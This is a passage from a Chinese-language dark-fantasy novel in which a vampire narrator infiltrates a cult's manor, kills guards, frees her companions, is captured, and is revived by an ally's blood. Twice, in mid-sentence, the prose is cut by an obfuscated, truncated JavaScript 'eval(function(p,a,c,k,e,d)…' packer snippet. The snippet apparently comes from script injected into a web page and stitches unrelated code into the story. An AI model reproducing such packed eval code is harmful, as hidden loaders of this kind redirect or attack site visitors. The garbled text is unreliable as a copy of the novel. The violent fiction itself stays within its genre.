“他说得对，侄女。我们被邀请进去更好。这样他们会放松警惕。而且，小道尔顿会藏在马车里，要是我们需要武器，他可以给我们送来。” 嗯，洛思说得总是很有道理。没有邀请，我根本进不了那座宅邸。考虑得真周到。 “没错，阿丽亚娜小姐。小道尔顿加入我们后，帮了大忙。他尽心尽力地照顾您，我很高兴看到他改过自新。这证明了，哪怕是迷失在黑暗中的人，只要内心有勇气，总能找到光明。这可真是个感人的故事！” 是啊，他自从带着“勇士同伴团”自相残杀的荒诞故事出现在他们营地后，就“帮了大忙”。他主动提出给大家带路，去邪教基地，还对着宾格尔忏悔个没完。这位红头发的“英雄”就没想想，道尔顿的“改过自新”在这个团伙犯罪生涯中，似乎来得太晚了点。 就算他不是坏人，也肯定有点问题。我也懒得去问。等我们回到文明世界，他就得离开。没错，这样或许才是最好的选择。 我们周围，松树林逐渐变成了空旷的田野和简陋的木屋。快到邪教基地 outskirts时，我和道尔顿换了座位，他得藏起来。我能闻到牲畜的味道，还有木柴燃烧的烟味。没过多久，我们就到了一个石墙围起来的地方。 要是我还是凡人，肯定会掐自己一把，看看是不是发烧烧糊涂了。 这道墙隔开了半荒野和一座英式村舍风格的奇异建筑。我眼前的景象，就像是从书里走出来的！ 一座用石头和玻璃建造的美丽庄园坐落在缓缓倾斜的小山坡顶上，那可是真正的玻璃，屋顶是灰色瓦片砌成的拱形。即便在寒冬，树木也修剪得整整齐齐，草坪也打理得很好。旁边还有一个小池塘，一条白色砾石铺就的干净道路从铁门一直延伸到宏伟的庄园入口处。庄园后面一百码处，是一道陡峭的悬崖，给这座建筑增添了几分神秘而宏伟的气息。 我到底看到了什么？ “真是奇怪！”宾格尔说道。 奇怪的是这里的色彩搭配。墙壁被完美地漆成了红白两色。 “工人都住在哪儿呢？有这么多田地，至少得有三十个人来耕种和照料牲畜吧。我猜他们不会住在庄园里吧？”我补充道。 “您观察得真敏锐，阿丽亚娜小姐！我们得假设这里还有其他我们没发现的建筑，得多留意。谁知道这里到底住了多少人呢？” 我只希望，等他们举着火把、拿着干草叉冲过来的时候，我们还没发现答案。这个……这个愚蠢的计划！我想离开，找个人吸血。这场闹剧只会带来灾难！啊，我怎么这么渴啊？！我不到一周前才刚喝饱啊！难道我还得再忍一年这样的折磨？ 该死，该死，真该死…… 我在脑子里暗自抱怨的时候，两个穿着泥色衣服的男人从墙后走出来，为我们打开了庄园的门。 或许我可以把他们吃了？ “好了，好了。”宾格尔用安慰的语气说道。他正想拍拍我的肩膀，却犹豫了一下，把手缩了回去。没错，我的好先生，离我远点，不然我就把你的手扯下来，塞进你…… “欢迎来到阿伯内西庄园，先生们，还有女士。我能问问你们来这儿有什么事吗？” 我们任由宾格尔用一堆客套话和迷路旅人、奇怪行程之类的废话敷衍这个可怜的守卫，直到他后悔自己问了这个问题。或许我应该割开他的喉咙，结束他的痛苦，让那温热的鲜血如喷泉般涌出…… “好吧，进来吧，进来吧。阿伯内西先生见到你们会很高兴的。”他露出一个不怀好意的微笑补充道。要是我还是个普通女孩，估计早就跑出去，宁愿去和灰熊拼拼运气了。这里的人都没点常识吗？ 马车缓缓爬上小山坡，我看到了庄园的主人，显然他们已经知道我们来了，我气得咬牙切齿。 “进来吧，进来吧，先生们，还有女士！我是鲁弗斯·阿伯内西，非常正式地欢迎你们来到我这寒舍。” 跟我们打招呼的这个男人五十多岁，银色的头发梳得一丝不苟，面容透着贵族气质。他胡子刮得很干净，只留了一小撮小胡子，眼睛乌黑深邃。他举止不凡，魅力十足，身上那件时髦的花呢套装更是增添了几分风采。尽管我隐约猜到他是什么人，但还是不由自主地对他产生了一丝好感。他介绍了他的妻子玛丽亚，一个身材丰满的女人，皮肤好得惊人。她黑色的头发紧紧地盘在脑后，但笑容温暖亲切。 这些人真会装。他们看起来完全就是和蔼可亲的主人。不过，他们身上的味道有点不对劲，尤其是那个女人。她身上有股酸酸的、让人很不舒服的味道。不是腐烂的气味，也不是我能想到的任何疾病的味道。真奇怪。 “您太客气了，先生。我们很抱歉没有提前通知就来打扰。我们遭遇了一场可怕的暴风雨，我还担心我们今晚得在外面过夜呢，您能想象那种情况吧！” 我们跟着主人穿过宏伟的入口，走上一段楼梯，来到刷成白色的走廊。家具有点简陋，但地面一尘不染。一路上我们没碰到任何人，我怀疑这可不是因为时间晚了。我的听力告诉我，这个地方大部分都没人。这就是个幌子。 阿伯内西把我们带进一个很大的吸烟室。几张皮沙发围着一张咖啡桌，墙壁上摆满了书和地图。房间里弥漫着冷雪茄和酒精的味道，这让我怀疑这里是某种会议室。从座位数量来看，大概能坐五六个人，我猜这个邪教的领导层里可能还有我们没见过的人。 简短地寒暄之后，宾格尔开始讲述我们事先编好的故事，我觉得他演得还算过得去，而我则努力无视阿伯内西夫人对我外貌的打量。我假装没注意到，扮演着疲惫又矜持的侄女，直到她把注意力转移到洛思身上。没人盯着我了，我便开始观察周围的环境。这里没什么异常。没有血腥味，也没有尸体的味道，没有可疑的声音。要不是旁边这个女人身上散发着奇怪的臭味，我闭上眼睛，都能想象自己回到了新奥尔良。 客套话都说完了，我们的主人终于进入正题，这让我十分沮丧。 “美国本应是充满机遇的土地，有那么一小段时间确实如此，但人总是需要统治与被统治。如今，各个州和政府四处扩张，想要给他们眼中的混乱带来秩序，但归根结底，这不过是卢梭所说的自然状态罢了。” “不过，卢梭认为人性本善……”洛思回应道。 “啊，原来您也是位哲学家？您难道不认同……” 于是他们就这么聊了起来。 我猜宾格尔对这位启蒙哲学家根本不感兴趣，他估计恨不得把每个法国人都当成恶魔。此刻，他只能默默地噘着嘴。看来，不成为众人关注的焦点，让我们这位勇敢的先生很不自在。而我，则祈祷他们能快点结束这场毫无意义的对话，不然…… 让我懊恼的是，阿伯内西继续用那种老套的谈话方式，先问个问题，假装在听，然后说出自己一开始就想说的话。现在，他已经“巧妙”地把话题引到他想说的地方，就在一个害羞的女仆端上茶的时候，他开始讲重点了。 “我们远渡重洋来到这片土地，也带来了枷锁。我所说的这些枷锁，是思想上的枷锁。我们仍然在崇拜本应去研究的事物，向本应努力去理解的事物祈祷。他人的评判左右着我们前进的方向……” 巴拉巴拉，我自认为是个科学家，道德伦理束缚了我的行动。我懂了。阿伯内西此刻身体前倾，眼中闪烁着狂热的光芒，他那瘦小的身躯因为狂热的激情而微微颤抖。 “德莱尼小姐，您似乎不太认同我的观点。” 我真该好好控制一下自己的表情。这个自命不凡的家伙，简直就是在我已经脆弱不堪的神经上跳舞。我是该装傻充愣，还是该用亚里士多德的理论去戳破他那脆弱的观点体系？还是干脆现在就动手杀人？受够了这些把戏。 “阿伯内西先生，这一路又漫长又疲惫……” “是啊，亲爱的。”他妻子终于开口了，之前她一直像个稻草人似的站在那儿，“我们女人对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我们又寒暄了几句，这时女仆过来给我端上茶。我把茶杯举到嘴边，深吸了一口气。 里面有鸦片酊的味道。这是一种效力很强的麻醉剂。哪怕只喝一口，我都会在接下来的几个小时里昏睡过去。我抬起眼睛看向阿伯内西夫人。我不觉得这算是违背誓言，因为我们双方本就已经处于敌对状态。这更像是个诡计，或者…… 嗯？ 什么情况？！ 我惊讶地看着罗丝使出全身力气挥动铁拨火棍，狠狠砸向女主人的太阳穴。我听到一声沉闷的 crunch 声，那女人像断了线的木偶一样倒了下去。 嗯。 哇哦。 她死了。 女仆当着我的面杀了她的雇主。终于，有点有意思的事情发生了。 “嘘！请别出声，”她小声说道，“我没有恶意！” 小姐，你要是别挥舞着那根沾了血的拨火棍，这话可能还更让人信服一点。有点常识好吗？ 算了，我还是点点头吧。 “别喝那茶，里面有毒。实在不好意思，但我们无论如何都得谈谈。你和你的同伴们现在处境非常危险！这里根本不是表面看上去的那样。这是个罪恶的巢穴，充满了最令人发指的恶行！我求求你，赶紧离开这儿，带上我一起走！” 我看向刚刚还在欺骗我的女主人的尸体。从她太阳穴和鼻子里流出来的血散发出一股恶臭味。这不是因为疾病或者什么魔法，而是一种腐败又可憎的气息。我感觉就好像有人把一幅画家的杰作上涂满了粪便。我恶心到了极点，绝对不会碰这种东西。 我看向女仆。她身材高挑结实，宽松的制服都掩盖不住她丰满的身材。她的面容透着一种质朴的美。我本以为她很聪明，但没什么心眼儿。这突如其来的谋杀实在太出乎意料了。 令人警惕的是，她身上也有和她前雇主一样令人厌恶的味道。我就知道。我真该早点从道尔顿身上吸血的。我干嘛要等呢？啊，好渴…… “她也参与了这个阴谋。请相信我，我知道你肯定很震惊，也很难接受，但你一定要相信我！这里的所有人，阿伯内西，还有其他所有人！他们绑架移民，然后……他们…… sniff。我对天发誓，你是我唯一的希望。我们必须去救你的朋友们，然后逃走！” 我得找到他们，还得找到道尔顿。 “我们料到会有危险。我们在找一个被绑架的人。” “等等。你们知道有危险还来？就你们三个人？！” “呃，我们低估了他们的人数。” “这片营地差不多有一百人！跟他们对抗就是送死！” “现在说这些已经晚了。我们先和其他人会合，至少把我们的装备拿回来。然后再商量逃跑计划。” “好，趁她还没醒，动作快点。” 她说。 哈…… 要是她脑袋被打成这样还能醒过来，都能自创一个宗教了。算了，现在还是别这么说了。没必要冒这个险，把她吓得歇斯底里。那是我最不希望发生的事情。 我现在最需要的是血，而且得赶紧找到。 “带我回客厅。希望他们还在听阿伯内西滔滔不绝地胡说八道，这样我叔叔和他朋友就能制伏他了。” 我抓住死去女主人的肩膀，把她拖到沙发后面，然后用一张桌布盖住她，同时努力不去闻那股排泄物的味道。 我回到罗丝身边时，她正警惕地看着我。啊，对了，我之前一直装成没脑子的金发傻妞。 “啊，你比我想象的…… 嗯，更有办法。” “我是有备而来，不过没料到会发生这种事。你还挺让我意外的。” “我…… 我想也是。那我带路！跟紧我，应该不会有问题。好的。” 我们沿着空荡荡的走廊往回走。没错，我记得路。现在往右拐，然后…… 就在罗丝要转弯的时候，我把她拉了回来，让她靠近我。她困惑地看着我，直到我把一根手指放在嘴唇上，示意她看向我们的目的地。我们从拐角处偷偷张望。一大群身材魁梧的男人正拖着两个挣扎的身影，不知要带去什么地方。我的同伴们被抓走了。我就知道从一开始这就是个愚蠢的计划！我真不该，绝对不该答应来的。一群没用的猎人。一群蠢货。好吧。冷静。够了。洛思大概是决定先假意配合，指望我之后去救他，我是说去救大家。好吧。我不能直接冲进去，把这里淹没在这些腐臭的血里，他们怎么敢这么对我们！一群害虫。杂种。好吧。好吧，行，我等。我会用老办法救他们，靠着瞎猫碰上死耗子的运气和那些看似不可能成功的疯狂计划。 “不——我们来晚了！现在该怎么办？！”我这位倒霉的同伴小声哭喊道。 “冷静点。你知道他们被带去哪儿了吗？” “知道。我知道，所有囚犯都被关在山里的牢房里。” 山里？！这算怎么回事？！莎士比亚的《暴风雨》吗？我接下来是不是还会遇到仙后玛布和小精灵帕克？啊。这都怪宾格尔！都怪他那愚蠢的命运魔法！ “你能带我去那儿吗？” “能，我之前…… 我在投靠他们之前，就被关在那儿。” 她颤抖了一下。 “路上肯定有守卫和其他人。” “我们需要武器，还得弄个伪装。先找武器。你知道他们把马车停哪儿了吗？” “知道，在马厩和牲畜围栏附近。跟我来！” 23. 庄园血影 我跟着罗斯穿过几道门，又走下几级窄楼梯。一路上没碰到任何人，很快就来到了庄园的一侧。眼前是马厩，远处能看到几座巨大的谷仓，里面大概圈养着上百头牲畜。四周房屋错落，树木点缀其间。 我匆匆瞥了一眼“沉默守望者”，祈求内心安宁和好运，随后吩咐罗斯在前面走，我则悄悄跟在她身后。在抵达目的地前，罗斯只碰到了两个巡逻的壮汉，我紧贴着阴影，轻松避开了他们。 这些人和门口的守卫有些不同，我之前竟没注意到。他们身上散发着和阿伯内西夫人一样的气味，只是更浓烈。他们的步伐太过机械，对于常在户外的人来说，他们的皮肤又过于光滑。而且，他们的警惕性极差。这并非因为过度自信或懒惰，他们目光呆滞地盯着前方，注意力奇怪地集中，不像真正的巡逻人员那样四处观察，眼观六路。我所有的直觉都在怒吼，不是出于恐惧，而是愤怒。这里的人不仅滥杀无辜，还亵渎了本应被珍视的东西，全然不顾众人的福祉。 我必须查个水落石出，阻止这一切，哪怕这意味着暴露我的身份。 我们悄无声息地走进马厩。我再次抓住罗斯。 “嘘，你闻到了吗？” “闻到什么？” “血腥和死亡的味道。” 这女人在黑暗中摸索前行，丝毫不在意，我觉得她既勇敢又愚蠢。不一会儿，她撞上了一具倒地的尸体，伴随着一声极不文雅的咒骂摔倒在地。 “或许这个能帮上忙？”我边说边点亮了一盏灯笼。 “啊，嗯，当然，我真傻。我只是……想不引人注意，以防……天哪！” 不引人注意？你开门时像个喝醉的八旬老人，行动笨拙得像头怀孕的河马，还四脚朝天摔了一跤。你就像怀胎八月一样显眼，你这个不可救药的蠢女人。我真想把这里除了洛斯以外的人都杀光，把这里烧个精光，然后拍拍屁股走人。呸。 “有人死了！天哪！到处都是血！” 我扶着这女人站起来，确保她白色的裙摆上没沾上血。灯笼的光照在一个壮汉的尸体上，他的喉咙被割开了，下手的人毫不留情，伤口深得他的头都快掉下来了。 我把灯笼移向马车敞开的门，又照向对面的另一扇门。另一个守卫靠在门上，也死了。他的前胸血肉模糊，衣服被撕烂，伤口狰狞。他被残忍地刺死了。 是道尔顿干的。 我闻不到纯净的血腥味，一丝都没有。我快速查看了一下马车，确认我们的常规武器不见了。 他带着我们的枪逃走了。我愿意相信他会履行自己的职责，但眼前这血腥的场景让我…… 骄傲。得力的手下。尽忠职守。足智多谋。定当奖赏。 不不不，我亲爱的直觉啊，可别让我冲昏了头脑。 不过，这倒是个好想法…… 啊，以后再说吧。 “我们的武器没了，盟友也不见了，我们必须……” 罗斯脸色苍白，看起来快要吐了。吐出来或许她会好受些？ “罗斯？” “我的天哪……这么多血。还有……这些人都……” 我把她转过来，盯着她的眼睛。 “罗斯，我知道你不习惯这种暴力场面，这很难接受，但现在你得集中精力。我们还身处险境。我需要你帮我找到其他人，这样我们才能一起离开。” “我……我不想回去。他们袭击了我们的商队，把我抓了进来……我不想来的，可我喝了……天哪。” “你喝了什么？血？” 她倒吸一口凉气。 “你怎么知道！？” “这是邪教的惯用手段。他们这么做是为了让你感到愧疚，觉得自己不值得被救赎，但现在救赎可不取决于他们，对吧？” “对，没错，救赎取决于上帝的意志。我……我不会让他们得逞的！找到并救出其他人后，我就能得到救赎。如果现在退缩，我永远都不会原谅自己！” 奏效了。 “哦，阿丽亚娜小姐，你真坚强勇敢。我多希望自己能像你一样！” “嘘，你比自己想象的更勇敢，罗斯。你独自抵抗他们的影响，还救了我，让我没被毒死。拿出你这钢铁般的意志，今晚的事还没完。你愿意和我一起吗？” “愿意，以上帝的名义，我愿意。我给你带路。” 谢天谢地，终于搞定了。为什么我每次鼓舞士气，别人都会想到上帝？我向你保证，我和他可没关系。 罗斯擦干眼泪，挺直身子，深吸一口气，我们便走了出去。 我跟着罗斯，沿着小路，穿过灌木丛，来到山边，终于看到了目的地。 如果说庄园本身就令人印象深刻，那么眼前的景象更是超出了我的预期。一小片空地上立着两支火把，一条石板路通向一扇令人惊叹的石门，石门直接开凿在岩石上。这让我想起了吸血鬼堡垒通往地下建筑的入口，景色宏伟壮观，令人意想不到。三个守卫手持火枪和火把，守在周围。想偷偷溜进去，根本不可能。 “我需要伪装一下。” “哦，对，那样会好一些。嗯，我有主意了！” 我跟着她往回走。邪教的住处可不只是我之前以为的营房。女人们有自己的私人小屋。我猜阿伯内西有需求时，会把挑中的女人带到他那奢华的卧室去，所以这些小屋是给手下的军官提供私密空间用的。这意味着他们都是□□犯，在生死威胁下，根本不存在什么自愿。 我们找到一扇没锁的门，罗斯推开了它。 “这原本是索菲娅的，但她……我刚被招募进来不久，她就失踪了。” 她脸上闪过一丝愧疚，很快又恢复了镇定。她心地确实善良。至于已故的索菲娅，我毫不怀疑她被当成了杀鸡儆猴的例子。我绝不相信阿伯内西会尊重人的生命。 很快，我换上了一套女仆制服。和往常一样，臀部有点紧，行动起来会很不方便。 我们收拾好，再次来到石门前。这次有四个守卫，个个都很警觉。他们大多穿着暗棕色的大衣，只有一个例外。他全身穿着白色衣服，满脸傲慢。我身后传来喊叫声和狗吠声。 看来有人捅了马蜂窝。 罗斯在前面带路，我闻到了变质的血腥味。门右边有一大滩干涸的血迹。 四双眼睛盯着我们，我们走近时，一个守卫拦住了我们。 “你们来这儿干什么，罗斯？” “我们给狱卒带个口信。让我们过去。” “是吗？怎么是你去送口信？往常不都是守卫去吗？” 我闻到她身上散发的恐惧。她快要露馅了。不出所料，她不擅长说谎。 “所有守卫都在四处搜查，要把闯入者找出来，长官。” 那男人转向我，挑起了眉毛。他肆无忌惮地打量着我的身体。他看起来干净整洁，但身上有种扭曲的气质，让我想起了兰卡斯特家族的人。狡猾又恶毒。 “嗯。你又是谁？” “我是阿里，长官，我……我昨天喝了酒。” 这个男人比其他所有人都警觉、谨慎。我尽力表演着。我羞愧地低下头，装作是个刚加入、还没被完全洗脑的新人。 我感觉有手指伸过来，捏住了我的下巴。 打伤他。开膛破肚。杀了他。 不，等会儿再说，他对我构不成威胁。我想杀他随时都能动手。 他抬起我的脸。我一直低着头，不让他看到我眼中的怒火。 “你的皮肤倒是挺白……” “伦纳德！现在可不是你寻欢作乐的时候！” 罗斯为我解了围。 “当然，我……回头再找你们俩。” 罗斯抓住我的手。我们急匆匆地走上几级台阶。 吸气，呼气。我能行。一切都在掌控之中。我先救出这些蠢货，然后再把他们大卸八块。 “嘶……” “阿丽亚娜小姐？” “……没事。” 现在不能抬头。“沉默守望者”藏好了。必须集中精力。 罗斯悄悄带我走上一条巨大的中央楼梯，然后穿过一扇宽大的侧门。门口的两个守卫一声不吭地放我们过去了。 我闻到了道尔顿的血腥味。伤得不致命。这味道太诱人了。我之前为什么要拒绝他呢？他这么卖力，理应得到奖赏，我要亲吻他，好好犒劳他。真是个得力的手下。 没错，我会这么做的。 我们走的这条通道比之前的更昏暗。石头粗糙，只有几支火把稀疏地照亮着。我们沿着通道来到另一扇门前，这次没有守卫。我刚进去，就听到一阵拳打脚踢的声音。 我们站在一个前厅里。这里像是个警卫室，有几把椅子、一张粗糙的木桌，桌上放着一副纸牌，还有一个架子，上面摆着火枪和简陋的军刀。一支手枪被随意放在一旁，枪把上散发着道尔顿的血腥味，让人难以抗拒。 一道光从前面一个亮着灯的房间透过来。我拉着罗斯，花了点时间用旁边的一串钥匙锁上了门，然后把钥匙藏进了一个桶里。我打开找到的每一支火枪的发火装置，把火药倒在地上。 做完这些，我们跨过了门槛。 这是一个很大的警卫室，除了靠墙放着的几个箱子和桌子，几乎没什么家具。五个男人围成一圈，正对着倒在地上的道尔顿拳打脚踢。 不，他是我的，只有我能处置他！ “先生们？打扰一下？你们好？” 这群人停下了殴打，眨了眨眼，像刚从睡梦中醒来一样看着我们。似乎大多数守卫都缺了点什么，也许是自我意识。他们太被动了。 有点像…… 傀儡。 “我们是来见犯人的。你们其中一个人带我们过去。现在就去。” 我感觉到他们有些抵触。他们毕竟还是人，而我不属于能对他们发号施令的人。他们开始骚动起来。 “我们是主人派来的。别浪费他的时间。” 我微微施加了一点意念暗示，来增强我的话的可信度。我盯着看起来最警觉的那个人。 “好吧。菲利普斯，你带她们去。其他人回到岗位上。还有你，华莱士，把这小子带到牢房去。” 华莱士和菲利普斯动了起来，他们打开入口对面那扇加固过的门，动作迟缓得就像反刍动物一样。 我们跟着他们走进一条狭窄的走廊，两边都是牢房。我关上门，罗斯担忧地看了我一眼，我赶紧跟上队伍。我绕过罗斯，从华莱士的腰带上取下一根警棍，他居然没发现。 华莱士把昏迷的道尔顿拖进其中一间黑暗的牢房。我费了好大的劲才忍住没跟进去。手下需要我们。先保护他，再享用他。不，我得按计划行事。 菲利普斯带我们走到最后一间牢房。门“哐当”一声打开时，我用尽全力把警棍砸在他的脖子上。生锈的铰链发出的嘎吱声掩盖了这声闷响。 我拿起钥匙，一言不发地递给罗斯。我肯定是有点不对劲，因为她脸色煞白，拼命地点头。我们擦肩而过。 她身上好臭。他们都臭烘烘的。他们不属于这个星球，他们都得死。 我不紧不慢地走进道尔顿的牢房。那个像牛一样迟钝的守卫呆呆地看着我进去。当我的手掐住他的气管时，他一脸惊讶。我像拧鸡脖子一样拧断他的脖子，他的眼睛瞪得老大。我把抽搐的尸体扔到一边。 他们对我的手下做了什么？ 道尔顿一只眼睛睁开，眼神涣散。另一只眼睛被一块紫色的瘀伤遮住了。他浑身是血，鼻子也被打断了。 好渴，太渴了。 他向我抬起受伤的手臂。我抓住他的锁链，像撕开一块破布一样扯断了项圈。 他身上有种平静、放松的感觉，带着一种笃定和信念。 我舔了舔他额头的伤口。他的血在召唤我。伤口愈合了。我的手下更安全了，这才对。我感觉很奇怪，还觉得饥肠辘辘。我需要吸血，但那样会杀了他。我不想杀他，他是我的手下，不是牲畜。他是第一个，以后还会有很多个。 有人从后面进来了。是个男人，身上有新鲜的汗水味和香水味。是那个冒险家。能杀了他……不，不能违背誓言，我对洛斯发过誓。不能喝朋友和生意伙伴的血。好渴。 有只手伸向我。没这个权利。把他大卸八块。 “塞西尔。” “啊，不好意思，我忘了，洛斯。不能碰她。不过这小子……” “让我来处理。她现在很脆弱。你在外面等我们，好吗？” “好的，我的朋友，抱歉。” “不怪你。” 有人出去了。洛斯，像山和钢铁一样可靠的盟友，走近了。要遵守誓言，不能杀他。 “我来帮他。” 手下需要帮助。盟友能提供帮助。我却不行，我控制不了自己，太渴了。 我点点头。没错，盟友，动手吧。 洛斯俯下身。 “我得去警卫室拿回我的补给。我马上回来。” “六个小猎物，火器都被弄坏了。别让他们跑了。” “对不起，阿丽亚娜……” 愚蠢、脆弱又迟钝的凡人。要是主人在这儿，我们直接把他们撕成碎片就好了。我又说了一遍，这次用的是英语。 “六个小猎物，火器都被弄坏了。别让他们跑了。” “好的。” 那个身上有怪味的女人走过来了。暂时的盟友，还有点用处。她一脸担忧，没有威胁。外面传来打斗声。有人大声叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼前出现各种色彩和形状交织的奇妙图案。纯粹的红色，被鲜血浸染得不成样子，既神圣又亵渎。我能听到它们在歌唱，它们渴望自由。我有十根针和八把刀。八把刀派不上用场，它们也带着神圣的力量。针是用来干脏活的，就像现在这样。 图案肆意流动，纯粹而自由。其他图案向我袭来，试图阻止这场“舞蹈”，却无能为力。这场“舞蹈”在夜晚的歌声和狩猎的纯粹本能中充满生机。棕色的“画布”迅速落下，白色的“画布”则冲到前面，仿佛要成为这幅“画作”的主角。没关系，它们正引领我走向更伟大的目标。 我穿过一块“布料”的“脖子”部位。更多棕色的“画布碎片”在肩膀处聚集。我跟着那三个穿白衣服的人向右臂的方向走去。有些“画布”用更快、更嘈杂的图案向我袭来，其中一块还咬了我一口。不太疼，但还是流失了一点珍贵的“液体”，我自己的“墨水”。这让我更渴望鲜血，我太需要了，虽然力量强大，但已经疲惫不堪。我需要更多鲜血，这样才能继续这场“创作”。 更多的“画布”被破坏，从潜在的形态变成转瞬即逝的“完美”。它们的丝线像星星和花束一样飘散，既美丽又腐朽。那三个人走向另一个“脖子”部位。我跟了上去棕色的“画布”都消失了。我走进一个房间，地上有个圆圈。还有一块“画布”和另外三块站在一起。 这块“画布”没有被污染，我能得到更多“墨水”（鲜血）！我向前走去，圆圈突然有了反应，银色的图案挡住了我的去路，坚不可摧。 我被困住了？我不断冲击着这个图案，直到……不！疼，疼得要命。太渴了，我再也受不了了，自从摩尔那件事后就没这么难受过……好吧，我得集中精力。 “我就知道你们这类人会出现。你们的傲慢和自私简直无药可救。你们妄图独占永生的秘密！但你们不会得逞的，哦不，这是个新的世界，新的世纪。这是科学与启蒙的时代。你们的力量再也不会被少数人掌控。我将开创一个新的时代……” 吸气，呼气，吸气，呼气。把疼痛从内心驱散，冷静思考。在这儿，本能帮不了我。 我被困在了一个魔法阵里。但也并非毫无转机。洛斯教过我一些魔法基础知识，我知道该怎么逃出去。 施展魔法需要三个要素：力量、象征和意志。力量为魔法提供动力，象征是魔法的核心，法师们通过符文、骨头、骰子等赋予魔法框架和界限，将力量转化为具体的概念。而意志则塑造魔法的意义，并将其释放到现实世界中。如此，意图得以实现，现实也随之改变。 我没有力量，所以无法施展魔法。洛斯提到过，古老的吸血鬼可以使用血魔法，但这对我来说行不通。我无法对抗这个魔法，既阻止不了它的力量，也无法干扰施法者的意志。 然而，我可以破坏象征元素。我缓缓从大腿旁的皮套里拿出希梅娜送给我的匕首。全身都疼得厉害，肚子疼得我都直不起腰。我看着魔法阵，认出了那些符文，是西方标准符文，欧洲的法师们都用这个，只有些细微差别。应该有……在那儿，代表“禁锢”的乌尔兹符文。我朝着它刺去。 “啊啊啊啊啊啊！”灼烧感袭来，皮肤像被烫伤了一样，但“禁锢”符文变成了“理解”符文。魔法阵闪烁了一下，那个男人也停下了讲话。还得再来一次。我换了只手，找到另一个乌尔兹符文，再次刺去。 “啊啊啊啊啊！”我忍不住干嚎，另一只手也疼得厉害。火枪声响起来，有什么东西击中了我的左臂，还有个东西打在了我的胸口。我咳出了血，手臂无力地垂着，匕首也掉了。我用另一只手把它捡起来。 我向前挪动，受了重伤，跑不动，也没力气快走。一个穿白衣服的男人被惊得呆立当场，我割开了他的喉咙，尝到了被污染的血。我得找到他们的头目。又有一个男人朝我扑来。 “火鞭！”我朝着预判的攻击方向挥去，这法术的攻击很好预测。男人脚步一乱，我趁机刺中了他。我继续前进。 头目背靠在墙上，已经没有反抗之力了……我也几乎没什么力气了…… “不，别过来！”他恶狠狠地用匕首指着我的胸口。我来不及格挡，只能冲上去，同时张嘴咬向他。 噗的一声，他的意识像泡泡一样破碎了。 ……嗯？我倒了下去，暗红色的血在地上蔓延开来。思绪……混乱不堪…… 嗯？极度的疲惫袭来，眼前只剩黑暗。 24. 洞穴之战 “……这血液对实验很有用，伦纳德……” “……把她放在那边，和其他人在一起，再给她戴上镣铐……” “……虽然代价高昂，但想想其中的可能性！她已经完全转变了，我们现在有了一个基准……” 时间缓缓流逝。有时，我转动眼睛，映入眼帘的是粗糙的砖块；有时，我听到隐隐约约的声响，似乎是人们痛苦的哭声；有时，空气中弥漫着恐惧、未洗净的身体散发的气味，还有那挥之不去的血腥味。 时间悄然流逝。我咳嗽了几声，咳出的几滴液体闪着奇异的蓝光，随后竟化为灰烬飘散。时间继续流逝。一片灰烬从我的指尖轻轻飘落，我感觉一切似乎都快要结束了。时间不停流逝。有什么东西在地下悄然穿行，仿佛预示着当它破土而出时，一切都将发生巨大的改变。 时间默默流逝。我时而觉得寒冷刺骨，咳嗽的时候又会突然感到燥热，但大部分时候还是被寒冷笼罩着。 时间飞逝。突然，有什么东西抓住了我。我看到一双棕色的眼睛，里面满是担忧、痛苦和愧疚。我缓缓闭上了眼睛。 “不，阿里，蒂尔，阿里，别离开我。” “洛思……” “滚一边去，塞西尔，她还没死呢。我需要独处，马上！” 有什么湿漉漉的东西落在我的脸上。我深吸一口气，空气中有钢铁和山峦的气息，这让我莫名地感到安心，仿佛可以安心地离去了。 “不不不，这都是我的错。你敢，你他妈的敢离开试试。好吧，好吧。没办法了，你这个老糊涂。是你把她带到这儿来的。现在付出代价吧。只有你能做到。对，对，坚持住，姑娘。这个老傻瓜会救你的。” 我吸入一种奇妙的东西，那感觉难以言喻，仿佛有一种神奇的力量在身体里蔓延。我缓缓睁开眼睛，看到一只红色的手腕。它轻轻掰开我干裂的嘴唇，纯净的液体渗到我的舌头上，顺着喉咙流下，让我渐渐有了力气。 恍惚间，我仿佛回到了过去。我站在战场中央，四周是陡峭的峭壁和青青的草地，远处是一望无际的大海。我的胸膛裸露在外，上面涂着蓝色的菘蓝颜料，黑色的头发随风飘动。一个男人举着盾牌向我冲来，我举起重斧砍向他的盾牌。他失去平衡向前摔倒，我顺势用另一把斧头做出攻击的动作。我大笑着，准备迎接下一个挑战。 在一个宽敞的大厅里，健壮的男男女女们围坐在一起喝酒聊天。肉汁顺着我的下巴和胡须流下来，一个金发姑娘不时和我交谈着，气氛很是融洽。一个灰胡子男人走过来，拍了拍我的肩膀，我对他微笑。他看起来是那么骄傲和开心，他就是我的父亲，那一刻，我的心里充满了幸福。 我饶有兴致地看着那个高个子棕发男人对着斯凯吉愤怒地叫嚷，他挥舞着拳头，样子十分滑稽。斯凯吉不甘示弱，把一袋粪肥倒在他身上。我们都哈哈大笑起来，看着他尖叫着跑向河边。斯凯吉是个很有趣的人，她叫阿格纳。 画面一转，我仿佛身处温馨的房间，我的脚陷入柔软的床垫，双手紧紧抓住床单。阿格纳脸上带着俏皮的笑容，和我愉快地交谈着。我们彼此分享着生活中的趣事，欢声笑语回荡在房间里。 然而，美好的时光总是短暂的。一天前，我遭遇了可怕的事情，有人对我做了残忍的事，让我受了重伤。阿格纳也在这场灾难中不幸去世，我心中的痛苦无法用言语表达，这种痛苦仿佛笼罩了整个世界，让我难以承受。 我怀着悲痛的心情，抱起裹着布的阿格纳的尸体，轻轻地把它放入墓穴。然后，我走出墓穴，用土把它填满。我在墓前种上了鲜花，拿起我的包，带着无尽的悲伤离开了。 